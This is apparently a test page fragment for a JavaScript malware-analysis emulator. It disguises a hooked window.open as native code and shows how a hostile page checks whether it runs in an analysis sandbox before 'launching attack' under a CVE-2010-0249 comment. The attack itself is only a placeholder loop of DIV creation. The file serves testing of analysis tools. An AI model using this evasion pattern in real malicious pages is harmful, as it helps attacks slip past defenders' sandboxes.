13 | 				return original.toString();
14 | 			return a;
15 | 		};
16 | 
17 | 		return function() {
18 | 			// dummy operation to avoid removal by the optimizer
19 | 			["_JSUNPACK_RANDOMIZE_ME"] 
20 | 			var BODY = " {\n\t[native code]\n}";
21 | 			return fn_header + BODY;
22 | 		}
23 | 	 });
24 | };
25 | 
26 | emulateToStringRecursive(window.open, 'function open()');
27 | 
28 | window.test = function dd() {
29 |   return 'test';
30 | };
31 | 
32 | function log(n1,n2) {
33 |  var i = document.getElementById('log');
34 |  i.innerHTML += "\n"+ n1+"\n"+n2+"\n\n";
35 | }
36 | 
37 | log('window.test.toString()',window.test.toString());
38 | log('window.open.toString()',window.open.toString());
39 | log('window.test.toString()',window.test.toString());
40 | log('window.open.toString()',window.open.toString());
41 | log('window.open.toString.toString()',window.open.toString.toString());
42 | log('window.open.toString.toString.toString()',window.open.toString.toString.toString());
43 | log('window.open.toString.toString.toString.toString()',window.open.toString.toString.toString.toString());
44 | 
45 | fake_browser = false;
46 | fake_browser = (window.open.toString().match(/print/));
47 | if (!fake_browser) {
48 |   log("real browser detected, launching attack","");
49 |   // CVE-2010-0249 MSIEUseAfterFree
50 |   var i2;
51 |   for (var i = 0; i < 10000; i++) {
52 |      i2=document.createElement('DIV');
53 |      i2.innerHTML = i;
54 |      document.body.appendChild(i2);
55 |   }
56 | }
57 | 


--------------------------------------------------------------------------------